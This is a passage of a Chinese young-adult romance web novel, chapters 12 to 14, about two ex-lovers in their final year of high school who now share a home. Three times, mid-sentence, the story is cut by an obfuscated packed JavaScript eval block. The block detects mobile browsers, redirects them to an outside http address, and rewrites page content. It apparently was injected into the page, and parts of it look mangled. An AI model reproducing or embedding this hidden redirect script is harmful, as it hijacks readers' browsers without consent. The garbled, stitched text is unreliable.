说完再见，江洵转身离开，跑回了篮球场。 林予夏也转身离开，准备往便利店所在的方向走。她将背在身后的那台ccd相机小心地拿到眼前，点开了方才一不小心拍下的那张照片。 她决定不删除这张意外的照片。 她要好好留着。 上课铃快要响起的时候，操场上的男生们收好了球，开始三三两两地往教学楼里面跑。 江洵和厉川走在了最后面，他们俩打算去洗个脸，收一收身上的汗，换件衣服再回教室。 “哎，你和林予夏和好了？”厉川八卦道，“我看你们俩状态可以啊，礼尚往来，完全不像是前几日那种火山喷发的样子。” “没和好。”江洵语气平缓，“我们现在是合租室友关系。” “等会？”厉川一把扯住了江洵，“室友？合租？” “嗯。”江洵点头，“他爸和我妈是同事，两个人玩得还不错。他爸最近不在长宜，干脆就让她到我们家来住一段时间。” “那合租是……？” “你先别急，听我慢慢解释。”江洵手搭在走廊的栏杆边，看了眼正在慢慢沉下去的夜空，“她呢，非要给我付房租。我劝不动，就成了她的二房东。” “是挺二的。”厉川吐槽式的接话，“你成为了前女友的二房东，挺新奇。” “去你的，你二。”江洵停顿了一下，像是在想些什么，“这样也好，至少，我们的关系看上去还挺正常。前些日子刚分手，朋友也不是，还是尴尬的前男女友关系。这下新关系出现，倒是让我们俩有了个能够方便说话的名分，关系呢，渐渐地也就变得不那么尴尬了起来。” 一旁的厉川显然是没有理清江洵的这套逻辑的，他陷入疑惑，但对于兄弟的“自我攻略”，他还是予以安慰之言：“哈哈，你开心就好。” 江洵：“谢谢兄弟的祝福！” 厉川：“……” 没注意到时间，江洵和厉川走到班级那层的走廊口时，上课铃已经响过很久了。 不可避免的，他们被年级主任给拦了下来。年级主任看了看手表，语气严肃地说：“上课多久了？高三了，不会注意时间的吗？” 江洵和厉川低头，一副认错的样子，江洵开口说：“下次注意，主任。” 主任看向江洵，毕竟他算是年级里的头号种子选手，他不想言辞过重，以免影响他的状态。主任向来赏罚分明，不会因为一个学生的成绩，而对他有什么偏爱的举动，该罚还是得罚。他说：“去把作业拿出来，在走廊上站一节课的晚自习，长长记性。” “知道了，主任。”两人齐声回答。 座位在最后一排，江洵和厉川进教室的时候脚步很轻，几乎没有发现他们俩进来了。 除了林予夏和陈嘉妤。 “哎，我说你俩着运气也是真够背的。”陈嘉妤看向刚进教室的两人小声调侃。 “正好撞上了。”厉川弯着腰，正在拿着书。 林予夏故意没有说话，她一直在看着自己桌上的英语单词。 江洵坐在座位上拿试卷，无意间瞥到了林予夏的单词书，小声说：“都开始背托福词汇了呀。” “随便背一背。”林予夏这才意识到她没有把手中的书给藏起来，于是，她立即将词汇书按在了试卷下面，赶紧扯开话题说，“你今天说有道数学题不会，是哪一道题？” “一道圆锥曲线，就昨天课上发的那张试卷。”江洵回答的很快，像是早就准备好了答案一样。 林予夏点点头，在课桌抽屉中拿出了那张数学试卷。 再转头看向江洵的时候，江洵已经朝后门口走了。 林予夏看着他的背影，并没有收回自己的视线。 他怎么会知道我背的是托福词汇？ 那本词汇书的页眉，并没有标注托福二字。 想到这，林予夏不禁皱了皱眉。 走出教室之后，江洵直接站在了窗边，他把作业放在了窗台上。拿着笔，他下意识地抬头往教室里林予夏座位的方向看了过去。 那是在他意料之外的，他一不小心撞见了林予夏的目光。 掩饰着心中忽然泛起的轻颤。 他看着她微微一笑。 按照林予夏和江洵各自心里不谋而合的想法来看，有了合租室友这个头衔标签之后，他们彼此之间的关系，倒确实“正常”了许多。 只是每次与对方说话之前，总要刻意地强调那么一句“室友同学”，以示这场对话聊天的名义。 新的周一，依旧高温，天气像是盛夏。 一大早上，刚到学校，林予夏和江洵就看见了教学楼下的公告栏处站满了学生，他们都在看新张贴的喜报。 江洵一米八八的个子，站在后面压根都不需要伸长脖子，就能看清楚人群前的喜报—— “热烈祝贺我校高三（21）班林予夏同学在2023年CHPTC竞赛中，荣获提高组第一名！” “我去！林予夏，这么厉害！”江洵立即用肩膀撞了撞身边的林予夏，“你怎么都不和我这个合租室友说说？” 林予夏歪头看向身旁的江洵：“是你不关心我罢了……” 等等！林予夏，你要不要听听看自己在说些什么？！ 都怪自己以前习惯了，语言系统还没从原先的体系中完全脱离，总有些话，还是会下意识地说出口。 意识到自己现在身份早已不是从前那般的林予夏立即紧闭了嘴，然后转头看向江洵，打算解释一番：“我是说……” “我听见了。”江洵没等林予夏说完便开口了，他嘴角一笑，“快上课了，走吧。” 江洵说完就单肩背着书包往教学楼走去了，林予夏在原地眨巴眨巴了两下自己的眼睛，心里在反复重演江洵刚才的反应，试图去捉摸透他在想什么，为什么只是单单说出“我听见了”这四个字。 走到高三的走廊上，林予夏时不时会接受别人的“注目礼”，一些和林予夏认识的同学，还会同她说一句“祝贺”。 那年暑假，林予夏再一次报名参加了CHPTC竞赛。前两年比赛的成绩不算太靠前，每次离入围国家队，都还差一点点，只能留在省队。今年参加考试的时候，林予夏的状态还不错，在考场上写题也比较的游刃有余。昨天上午出成绩，一查，竟然是榜首。 远在德国的林潮声听到这个消息之后高兴坏了，同林予夏聊了一下接下来的打算。 昨天下午，国内的THU大学和PKU大学给林予夏抛来了橄榄枝，向她和执礼附中发送了邮件，询问她是否有意愿选择他们的少年班特招入学。 国内顶尖的两个学府，让林予夏陷入了犹豫，一个与那天聚餐傍晚时做出的“会改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353028|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变她人生轨迹”的决定有关的犹豫。 她陷入进两难的抉择，不知道该如何是好。 课间想到这件事的时候，林予夏在心里长长的叹了一口气。放在以前，她会在每次陷入两难的时候，同江洵商量一番。江洵会同她一起思考，这个抉择为什么会两难，以及该如何破解这种局面。所以直到今天，林予夏都想找他商量一下，就和从前一样。 哦不。林予夏忽然反应—— 如果他们不是因为那个秘密分手的话，也许她现在也不会陷入这样的纠结了。 而且，毕竟那天傍晚做出的能够改变她人生轨迹的决定，与他也有一点点的关系。 林予夏郁闷，索性将桌上的试卷收回进了课桌的抽屉，一头闷在了课桌上，她想让自己陷入进困倦与睡眠，好让自己能够短暂的逃离一会纠结的思绪。 闭上眼，林予夏不知为何忽然想到了江洵方才在操场上说的那句“我听见了”。 林予夏纳闷：“……” 他到底想要说些什么？！ 最后一节晚自习下课，教室里的同学慢慢收拾书包离开。陈嘉妤和厉川在写完作业之后，也打打闹闹地走出了教室。 很快，教室里就只剩下了林予夏和江洵。 教室里的倒计时牌即将往后翻过一页，晚风透过窗户缝隙吹进了教室，吹起窗帘微微摆动。空调停止住了往外“呼呼”吹送冷气，忽然停下来的动静，让江洵抬起了头。 他下意识地看向了同桌林予夏，说：“回去吗？” “嗯。”林予夏放下了笔，准备收拾书包。 “听说今晚的月色还挺不错的。”江洵收着书包，用着一副假装不在意的语气说，“要不要一起去操场上散步？我们很久没有一起散步了。” 说完这句话的时候，江洵已经在心里做好了准备——被林予夏拒绝的准备。 但他依旧很忐忑不安，在等着林予夏的回答。 “好。”林予夏连时间都没有看，很快就答应了江洵。 他们总是最后离开教室的人，倒计时牌被他们往后翻过了一页。 意外的，教学楼下还有学生。有的在散步聊天，有的在慢跑听歌，还算热闹，全然不像是一个晚自习的放学后，倒是像个某节晚自习的下课课间。 “人还不少。”江洵说。 “可能是今天的天气还不错。”林予夏回答。 江洵从包里拿出了一副有线耳机，将左耳的那一只递给了林予夏，说：“一起听歌吗？” 江洵再次鼓起勇气，向林予夏发出了一个新的邀请。 林予夏接过了江洵递过来的耳机，戴在了耳朵上：“想听EXO的《月光》。” “好。” 在月光下散步就适合听这首歌，就像下雪天适合听那首来自韩剧《孤单又灿烂的神-鬼怪》里的《Stay With Me》一样。 江洵点开收藏歌单，给这首《月光》按下了播放—— 「日暮的间隙」 「你静静到来」 「让黑暗消散将我从沉眠中唤醒」 曾经有过很多个夜晚，江洵和林予夏都在这个操场上一起散步聊天，漫无目的，不顾时间。从高一那年开始，一直到高二结束的夏天。 在江洵意料之外的，林予夏今晚竟然很快地就答应了他的邀请，愿意同他一起，在月色下慢慢走。这是他在十几天前，心里所以为的再也不可能会发生的事情。 此刻走在操场上，他们谁都没有说话。好像都在等着对方开口，都揣着他们想要问出口的问题。 十七岁的青春思绪正在悄悄生长，逐渐蔓延至心脏。 无法抑制住正在“紊乱”的呼吸，垂下的手在偶然间慢慢靠近，心跳也在扑通扑通的加快着频率。 你看今夜月色，你是否能够知晓我的思绪？ 头顶的路灯忽然暗了下来。 她不知为何。 但。 或许—— 或许心脏知道。 或许月光知道。 或许晚风知道。 13. Ch.13 雨天 “你考虑好了？”办公室里，秦宋对坐在自己面前的林予夏说道，语气里全是“严肃”，“不再好好考虑一下？直接放弃THU大学和PKU大学的保送特招机会？” “我已经想好了。”林予夏笑着从容回答。 “和你爸打个电话好吧，我确认一下。”秦宋满脸关心，她不清楚林予夏为何会做出这个决定。 “没事。”林予夏说完就从口袋里拿出了手机，将与父亲的聊天记录摆在了秦宋眼前，“我爸还在德国呢，有时差。” 秦宋看完林予夏的消息，将手机给她递了回去，说：“那行，你自己考虑好了就没问题。THU大学和PKU大学那边的邮件你记得回复一下，他们驻长宜的招生办公室还打算过两天到学校来着。现在看来，也不用来了。” “秦老师，我想申请请长假。”林予夏向秦宋凑近了一些，“过两天留学机构的课就要开始了，我托福课程和SAT考试准备课程排的比较满，想这段时间就先不到学校来了。” 秦宋听完林予夏的话点了点头，从办公桌的抽屉里拿出了请假单，给林予夏递了过去：“写好这个单子，先拿给我签字，然后再拿到年级组去签字，我会提前和年级主任打好招呼。” “好。谢谢秦老师了。”林予夏接过了请假单，拿在手上看了看。 秦宋握住林予夏的手，关切问：“不过，老师能不能问问，你为什么不选择国内的保送这条比较平稳的路，而是突然想要去申请美国的学校呢？” 脑海中回想起那天的傍晚。 去旧金山读书，便是那天她所做出的，能够改变她人生轨迹的决定。 虽在接到THU大学和PKU大学的邀请后陷入过犹豫，但她依旧还是选择了原先依旧考虑好的选择。 她不后悔自己最后做出的决定。 毕竟这是她最初的想法。 对秦宋的这个问题早有预料，林予夏笑着回答说：“很久之前我看过一本小说，从那时候起我就在想，等我长大了，是否有机会能够去到旧金山读书，就像里面的女主那样。我想出去走走，去试着到一个新的地方学习和生活。这听上去很疯狂，未来的结果会是怎样，我们谁都不知道。但我就是想要去试一试，就算今年不行，明年依旧可以继续。” 她顿了顿继续说，“秦老师，我母亲在我很小的时候，就远赴旧金山求学。我想去看看我母亲走过的轨迹，去见见她所在的城市。这些，您别和我爸说。” “不说。”秦宋拍了拍林予夏的肩膀。 “我先回教室了，请假单我写完就来找您。” “快去吧。” 林予夏从椅子上起身往门口走。 看着林予夏的背影，秦宋不禁感叹：她从未见过有学生有过这样的破釜沉舟的勇气和选择。放弃了成年人思维中寻常的那种稳妥选择，毅然决然的决定要去走一条未知的路。 这是一种勇气。 一种青春期时期的勇气。 走到办公室的门口，林予夏将请假单折好收进了校服口袋里，往教室走。 抬头的下一秒，走廊上传来了林予夏的声音：“不好意思！” 方才转身时，她低着头没有看前面的路，于是她毫无预兆地撞进了江洵的怀里。 撞见的那一秒，江洵没有说话，只是下意识地扶稳了她。 “还好是你。”林予夏在看见江洵胸前的校牌之后松了口气，“要是别人，那就尴尬了。” 江洵把扶着林予夏的手松开，继续拿着手中的数学试卷，依旧没有说话，像是在等着林予夏说些什么一样。 “快上课了，你怎么在这？”林予夏摸了摸口袋里的请假单。 江洵解释：“我去找数学老师问题目。” “哦。”林予夏点点头，“那我先回教室了。” “嗯。” 林予夏同江洵摆了摆手，往教室走。 江洵停留在了原地，他向后看了一眼林予夏的背影。 他把手臂靠在走廊边的栏杆上，视线看着蓝蓝的天空，手里拿着那张还未解出来数学题的试卷，他叹了口气，随即低头看向左手手腕上的手表，默默吹风。 这天是一个阴天。 长宜的夏天正在渐渐褪去色彩，晴天少了些许。风大的天，大家都换上了薄薄的校服卫衣。 “好想吃提拉米苏哇T_T” 数学课结束，林予夏在草稿纸上随意写下了方才脑海中忽然出现的一个想法。不知道是为什么，每次数学课下课后，总想吃一点甜的东西。整理好试卷，林予夏拍了拍前桌陈嘉妤的肩膀，“小卖部走不走？想吃提拉米苏了。” 陈嘉妤回头，将手中还在写数学试卷的笔放在课桌上，脸上雀跃，“好呀好呀！这数学课闷死我了！正好我刚才还想叫你一起出去走走！” 长课间的时间长达25分钟，此时的学校便利店人来人往，学生很多，难以进店。离便利店还有一段距离的地方，林予夏和陈嘉妤停住了脚步。 “嘉嘉，要不……我们回去吧……” “好，我们下节课再来。”陈嘉妤点了点头，口袋里的手机传来一声振动，忽然收到了一条信息。看完信息，陈嘉妤对林予夏说，“英语老师让我去趟文印室拿周考试卷，还让我看看你在不在教室，让你帮我一起去拿。” 林予夏和陈嘉妤的英语分数在140分左右，周考于她们而言压根就不算什么，所以英语老师经常派她们俩去拿试卷。不用担心透题，不用考虑会不会影响她们的成绩。在英语老师眼里，以林予夏和陈嘉妤的英语成绩，完全可以用英语周考的时间去做一些对她们自己成绩更有用的事情。 “我们走吧！”林予夏笑了笑，继续挽上陈嘉妤的手。 她们开始往文印室的方向走。忽然刮起一阵风，天空中慢慢堆积了乌云，有点冷。因为装修的问题，文印室暂时没有在教学楼的里面，被临时安置在了办公楼，最近拿试卷需要穿过一条路。 那条路不算太短，被冷风一吹，林予夏和陈嘉妤不免的靠近了些许，加快了脚步。 油墨和纸张的味道传来，窜入了两人的鼻尖，打印机哗啦哗啦的声音落入耳畔，林予夏在站在门边轻敲一下说了句“报告”。 这次的周考试卷页数有点多，看了一圈，英语课代表陈嘉妤在印刷机的轰隆声中对林予夏说：“我先送一批试卷上去，这样，你在文印室等答题卡印刷完，我待会再来拿剩下的试卷。” 林予夏听完陈嘉妤的话点了点头，说了句好。 说完，陈嘉妤很快就把已经数好的试卷给抱走了。 听不见上课铃的声音，等到答题卡印刷完毕了之后，已经是上课的时间了。为了让好姐妹陈嘉妤不那么累，林予夏决定抱着剩下的试卷和答题卡直接回教学楼。 好在英语的答题卡是A4大小的，拿在手上还好。抱着剩余的试卷，将答题卡垒在上面，在文印室工作人员的帮忙开门下，林予夏走出了文印室。 意料之外的，淅沥的雨声忽然闯入了她的耳边，视线里出现了一场没有想到的大雨。 糟糕…… 没带伞。 好吧。 就算带了伞，自己也没办法打伞回去。 林予夏抱着一身的试卷四处张望，她在心里默默祈祷，此刻从办公楼里能出来一位老师，载着她一起去教学楼。 大雨是在陈嘉妤踏入教学楼的第一秒中落下的，这会子她刚跑回办公室放下试卷。 办公楼里没有老师出来，林予夏心里默默的祈祷渐渐消散。 那就等这场雨停吧。 她抱着试卷，微微低头看向潮湿的地板，转身准备继续等待。 但就在她转身回去的第一秒，眼前却忽然落下了一把透明雨伞的影子。 不可否认的是。 在那一瞬间，落在她世界里的那场雨，忽然就停了下来。 视线从滴着水滴的柏油马路路面抬起，她看见了江洵的眼睛。 凑巧的是，江洵今天穿的是那件深蓝色偏黑色的校服卫衣，林予夏穿的是那件白色的。 “你怎么来了？”语气中夹杂着些许庆幸，又顺带了一点意外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353029|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶。 但这些下意识的情绪，林予夏在那一瞬间里都没有察觉到。 她自认为自己的语气很平淡，是没有任何情绪的。 “路过。”江洵也故作一种平淡的语气，冷冷地吐出了这两个字。他在掩藏着喘气，努力平复着自己的呼吸。 “哦。”听完江洵落下的那两字，林予夏点了点头。 “走吧，我们回教室。” “好。” 很自然地从林予夏的手上接过了答题卡，江洵举着伞，和林予夏往教学楼走。雨滴掉落在透明雨伞的伞面，发出啪嗒啪嗒的声音。周围没有风的经过，只感觉到潮湿湿润的空气在不断“盘旋”。 只是不知道为什么，林予夏忽然觉得这个雨天里的步子轻快了起来。 呼吸之间，也并未觉得有多潮湿的感觉。 或许是因为江洵抱走了答题卡，手上的重量一下子轻了不少的原因吧。 林予夏只敢在心里偷偷地这么想。 好在这节课是自习课，两人的步子自然地也就慢了些。雨水顺着雨伞的边缘滴落在地毯上，教学楼外的大雨不断，持续淅沥，不知道会在什么时候停下来。 各个教室的隔音还算不错，高三走廊上比较安静。走到高三（21）班教室的后门，江洵把伞挂在了走廊的窗台边。 林予夏很江洵的动作幅度很小很小，生怕打扰到别人自习，轻轻推门从后门而入，却在进教室的那一瞬间里听见了数学老师的声音。 坏了，自习课被超严厉的数学老师给占课了。 将试卷放在后面的储物柜上，准备回到座位。 却不料讲台上传来了数学老师的声音：“刚刚进教室的两位同学干什么去了？上课了不知道吗？” 班里的同学齐刷刷地回头看向最后一排还未坐下来的江洵和林予夏，陈嘉妤在这时举手说：“老师！他们帮英语老师领试卷去了！外面下了大雨，所以晚了些！” 把茶杯往讲台上一放，铁质的讲台忽然发出了轰的一声，数学老师严厉的声音随之而来：“我不管是什么老师，上课迟到就是迟到！自习课难道就能放任时间吗？出去站着去。” 江洵和林予夏相互看了一眼，交换了眼神。他们不打算对数学老师说什么，毕竟他不是个怎么讲道理的老师。 林予夏却忽然注意到了放在她课桌上的提拉米苏，盒子上还贴着一张便签纸，上面是江洵的笔迹：“送你的，记得吃^ ^” 数学老师说完就转过身看向黑板去了，他在黑板上写下了这节加塞课的标题——圆锥曲线平移构造其次化方程初探究。 依旧安安静静地，江洵和林予夏走向了后门口。他们很默契地什么书都没有带，因为这节课要学的内容，他们早在很早之前，就已经一起相互探讨学习过了。 唯一带在手上的，是林予夏刚才注意到的那盒提拉米苏。她趁数学老师转身看向黑板的瞬间，悄悄地将那盒提拉米苏一起拿在了手中。 教室外，淅淅沥沥的雨声依旧。背靠着墙壁站在走廊上，两人不由地看向了正沿着墙壁往下滴落的雨滴。 其实江洵出现在林予夏的面前，并不是因为路过。 方才还在校门口刚入校的时候，江洵就看见了林予夏往文印室办公楼走的身影。回到教室之后，大雨忽然落下，江洵只看见了陈嘉妤从前门走进来。 他当时立即问陈嘉妤，“林予夏呢？” 陈嘉妤疯狂喘气：“在文印室，忽然下雨了，她没有伞，我现在去接……” 没等陈嘉妤喘完气，江洵已经拿着伞从座位上起身了，他边向教室的后门跑去边说：“知道了，我去接她。” 思绪抽回，江洵下意识地看向了身旁的林予夏。 她依旧在看着落下的雨滴。 这还是他们第一次这样一起站在彼此的旁边，一起因为迟到而“罚站”。 江洵偷偷地往林予夏那靠近了一些，微微低头，凑近她的耳边。 他轻声问： “带你去个地方。” “要不要一起逃课？” 14. Ch.14 情歌 十七岁时的林予夏，很难拒绝眼睛里似乎永远都在泛着光的江洵。 听见他的邀请，不知怎的，林予夏就这样自然而然地点了点头。 意识到已经做出了反应，林予夏不禁提了提自己手中的那个装着提拉米苏的小纸袋。 这可是逃课诶，被抓到了可是要写检讨的。 细数前十七年的岁月，似乎自己都是在循规蹈矩中度过的。 那就让自己的青春期犯一次规吧，写检讨就写检讨，反正又不是自己一个人写，江洵会陪她的。 “去哪？”想完那些，林予夏整个人也松弛了些许，语调平和，甚至还有点温柔在里面。 只见江洵一只手拿下了挂在走廊上置伞区里那把还在朝下滴着水的透明雨伞，另一只手就像从前那样，放在了她的视线中，他说：“跟我来，那个地方你去过。” 林予夏不明所以，脑海中暂时没有想到江洵所说的会是什么地方，她只是继续点了点头，随后如从前那样牵上了江洵的手，以示同意他的邀请。 走到楼梯口的转角，林予夏松开了她牵着江洵的而自然垂下的手。她的理性在心里劝住了她——她不能这样，不能够在毫无身份的时候牵住他的手。 “抱歉。”林予夏轻声说，“以前习惯了。” 如果不是因为靠的比较近，在大雨的淅沥声中，是完全听不见她方才说的“抱歉”的。 江洵对林予夏的松手并不感到很意外，他说：“你又没做错什么，不用说抱歉。” 很快就走到了楼下，这场突如其来的大雨倒是小了一些。紧挨在江洵的身边，林予夏的身上没有淋着一滴雨。她偷看了一眼站在自己左边的江洵，却忽然瞧见了粘在他校服卫衣上的水滴。 于此，她不禁伸手将江洵手中的伞往左边推了一点，说：“小心一点，你肩膀上有雨。” 江洵顺着林予夏视线的方向看了过去，只落下一句：“没事。” 随后又默默将手中的伞移回了原先的位置。 他们不再继续说话，只是在听着路过的雨声。身边的的香樟树正在摇晃着，属于夏天的蝉鸣声早已销声匿迹，消散在了人海中和暴雨的淅沥里。 夏天快要结束了。 一路沿着学校里的柏油马路慢慢走、慢慢走，就这样什么话都没说，林予夏却又在雨变小的那一刻，心领神会江洵刚才在走廊上说的地点——艺术楼。 艺术楼离教学楼有一点距离，但这条路他们却一起走过很多很多次。 耳边传来撕心裂肺的蝉鸣声，盛夏的气息像是还在周围一般，林予夏的目光停留在（321室）的门牌前。 突然落下的大雨已经停止，就在他们踏入走廊的那一秒。长宜夏季尾声的暴雨说来就来，但也说走就走，就是这么的来得急，走得急。 现在是上课的时间，除了一两名加练的艺术生外，这条走廊上现在几乎没有什么人。推开门走进去，那时候的林予夏，像是打开了记忆的门锁。 曾经很多个午间，林予夏都跟在江洵的后面，悄悄站在琴房的走廊上，去偷听他弹琴。她能精准预料到江洵会在什么时候收谱，什么时候结束练习。每当她预感到江洵要从琴房里出来离开的时候，她都会快速跑离那条走廊，往教室的方向跑去。 只是那时候的林予夏纳闷，为什么江洵总是会在快要结束的时候，弹一遍那首《情歌》。 他们一起坐在靠近窗台的小沙发上，一人一边，中间相隔了些许距离。一旁的小茶几上摆满了新放的洋桔梗，洋桔梗的旁边正静静地放着那盒林予夏提进来的提拉米苏。挂在墙壁上的木质书架里的书横七竖八地躺着，林予夏瞥见杂乱的书本，忍不住起身走上前去，一本又一本地拿起，然后逐一将它们摆好。 不过她摆的速度很慢，几乎每拿起一本，都会看一遍那本书背面的小字简介或片段节选。 《今夜，即便这份恋情从世界消散》—— 这本看过了，江洵推荐的。 《不能承受的生命之轻》—— 看过了，而且还是当年她和江洵一起在台北大哥的旧书屋里面一起看的。 《百年孤独》—— 高一的时候做同桌书籍分享课的时候，她推荐给江洵的。 《额尔古纳河右岸》—— 也看过了，还是江洵推荐的。 视线中略过这一本本的书，林予夏心中忽然轻颤起了些许波澜。水滴落下的涟漪一圈又一圈地散开，将手中拿起的那本《通往夏天的隧道，再见的路口》放在了《今夜，即便这份恋情从世界消散》的旁边。 她不敢回头看向正坐在自己身后的江洵，只在书架前默默整理着书本。 “林予夏。” 忽然听见自己的名字，林予夏回头看向江洵，手中正随意地拿起了书架里下一本即将要被摆放整齐的书：“嗯？” “听《情歌》吗？” 林予夏拿着书把手垂下：“我终于知道，你为什么会忽然带我来321了。” 江洵起身，面带微笑，缓缓走到了林予夏的面前：“所以……是为什么呀？” “因为你想弹《情歌》。” “哦——”江洵故意拖长了尾音，然后朝林予夏笑了一下，随后转身走向了那台钢琴。 旋律响起，心中却忽然有一阵失重般的错觉，林予夏慌乱转身看向书架，抬起拿着书垂下的手，她这才发现，手上拿着的，是岩井俊二的那本《情书》。 翻开第一页，上面是她的字迹。 这居然是当年她送给他的那本。 高一那年的圣诞节，江洵和林予夏互送礼物，却意外的都互送给对方了那本岩井俊二的《情书》。 他们送《情书》的理由很简单——这部电影，是他们第一次约会的时候一起看的电影，地点还在他们第一次相遇的那家台北老板大哥的旧书店。 这本书为什么会在这里？ “你写给我，我的第一首歌，你和我十指紧扣，默写前奏，可是那然后呢。” 《情歌》的旋律在耳边环绕，脑海中又想起了这首歌的歌词。将手中的《情书》翻开到最后一页，一张便利贴忽然出现在了林予夏的视线里。 上面依旧是她熟悉的江洵的字迹： “周末在台北旧书屋有一场《情书》观影交流，想邀请你一起去。” 落款是他的姓名，而落款的日期，却是在昨天。 思绪在一瞬间变得复杂，像是察觉到了什么蓄谋一般。 林予夏将那本《情书》放在了书架上，《情歌》的音符也渐渐停了下来。 她才发觉已经过去了一首歌的时间。 他站在她视线的长镜头里，嘴角微微扬起，一如初见时的模样，让她为之心跳错拍。但长镜头却越拉越远，越来越远，她不清楚再过几年，他是否能够继续站在她的镜头视线中。 过了很久很久，两人都没有说话，只是在交错的视线中寻找着彼此的目光。 他们忽然同时对彼此说： “要不要一起吃提拉米苏？” “要不要一起去看《情书》？” 话音落下，视线不再继续交错，他们害羞地看向相反的方向，平复着心里的涟漪。 那些要问出口的问题，其实是在心里踌躇了许久的蓄谋。 雨后的蝉鸣声渐渐响起，从窗户缝隙里偷偷溜进房间，没有人知道，夏天还会有多长，会在哪个瞬间措不及防地结束。 坐在小沙发上，房间里早已经散去了那首《情歌》的余音，可那句“你和我十指紧扣，默写前奏，可是那然后呢”似乎还在耳边若隐若现。 从前，她总以为夏天永远很漫长，像是走不到尽头一般。而现在，她居然开始察觉到了夏天尾声的讯号。 这份提拉米苏只吃了两口。 她一勺。 他一勺。 然后谁也没有再继续吃下一勺。 这是个苦涩的提拉米苏，不甜。 视线相反，不再凝望着彼此的双眼。 夏蝉也不再喧嚣，仅仅只剩下了燥热余温。 林予夏。 夏天就快要结束了，对吗？ 很快就到了台北旧书店放映《情书》的日子。 放映的时间定在了17:20，傍晚时分。 台北旧书店的前厅，人很少，林予夏第一次见到这里居然这么冷清。台北大哥同他们打了个招呼就带他们去了放映区。 哦。 原来来看这场《情书》的人早就已经到了。 就在两人落座的一瞬间，放映区的灯便暗了下来。 视线里变得一片漆黑，只能够看见白色幕布上渐渐出现的大雪。 那时候的林予夏记起，自己第一次和江洵一起看《情书》这部电影，还是在高二那年冬天的平安夜。 高二那年，《情书》在国内重映。 走出电影院的时候，已经是夜晚十点左右了，但长宜的大街小巷还是挤满了人。 冷空气扑面而来，林予夏不禁往围巾里躲了躲。 在衣袖里牵着手，看了一眼彼此，准备散一会步回家。 下一秒，却抬头看见了雪花的落下。 下雪了。 几乎是在同一时间的，路上的人放慢了各自的脚步，都抬起头看向了天空。 去年的长宜未落下雪。所以，这是他们一起看的第一场初雪。 街边的便利店在此刻调大了音量，那首《Stay With Me》出现在了耳边。 湿润的眼眶藏不住回忆的泪光，林予夏感觉鼻子一酸，然后悄悄溜出了放映区。 亲手搞砸了这一切，将他随意丢弃在自己的身后。这是她从前未曾想过的。然而那个秘密，却又让她不得不做出这个抉择。 走过书架，像是经过了很多个十字路口。站在交点，林予夏不知道该如何抉择，不知道自己的选择是否能称之为正确。 走吧。 走吧。 走过了从前，或许也就不会陷入进怀念了。 不知不觉就走到了曾经和江洵一起去过的书架前，那里，还摆着原先的那些书。 视线扫过那些落了些许灰尘的书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353030|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 页，林予夏看见那本《情书》正安安静静地躺在那。 伸手拿起那本《情书》，翻开了第一页，一张借书卡滑落在手心。 上面写着的，是江洵的名字，还书的日期，停留在了昨天。 她依旧会因为看见他的名字而心跳加速。 台北旧书店里的音乐一直在若隐若现，林予夏听清楚了，是孙燕姿的《我怀念的》。 耳边听见一阵熟悉的脚步声，林予夏顺着右手边看了过去，正好看见了匆匆走来的江洵。 “台北大哥和我说你不舒服，你怎么样了？” “我没有不舒服呀。”林予夏回答说。 江洵停在了林予夏的身边，视线落在了她手中的那本《情书》上。 “台北大哥骗我。” “正好，我也有话想要对你说。”她停顿了半分钟才继续说，“关于我们分手，我想，我整理好了思绪，那个秘密……” “我知道。”江洵先行一步打断了林予夏的话。 林予夏抬头，不多不少地撞上江洵那一如既往温柔的目光。 相顾且陷入无言，他们心领神会彼此即将要说出的话。 那时候，林予夏的留学课程正式开始了，和江洵的交集时间也少了些许。 昨天中午回家拿东西，江洵正好撞见了母亲宋清寒在和林予夏的父亲林潮声通视频电话。亲密的语音语调传入江洵的耳朵，夹杂着婚期蜜月等字眼，他立即就明白了林予夏曾提到过的那个和他们分手有关的秘密——她的父亲林潮声和他的宋清寒正在恋爱。 他知道，林予夏会选择去成全她父亲的选择，因为她曾对他说过，她希望父亲这辈子不是孑然一身走到老。 他理解她为什么要提出分手了。 他爱她。 所以会尊重她的想法。 她的选择，即是他的选择。 但他又在那时陷入进了短暂的犹豫，是否还要继续邀请她一起去台北旧书店看《情书》。 这原本是他的计划。 他找台北大哥商量，希望借他的场地，看一场《情书》。 第一次遇见是在这家书店，第一次在执礼附中遇见是在学校樱花树的墙边，而后在学校广播站投稿那首《有些》，琴房里的那首《情歌》，递给她的柠檬糖，以及此时还在继续放映的《情书》…… 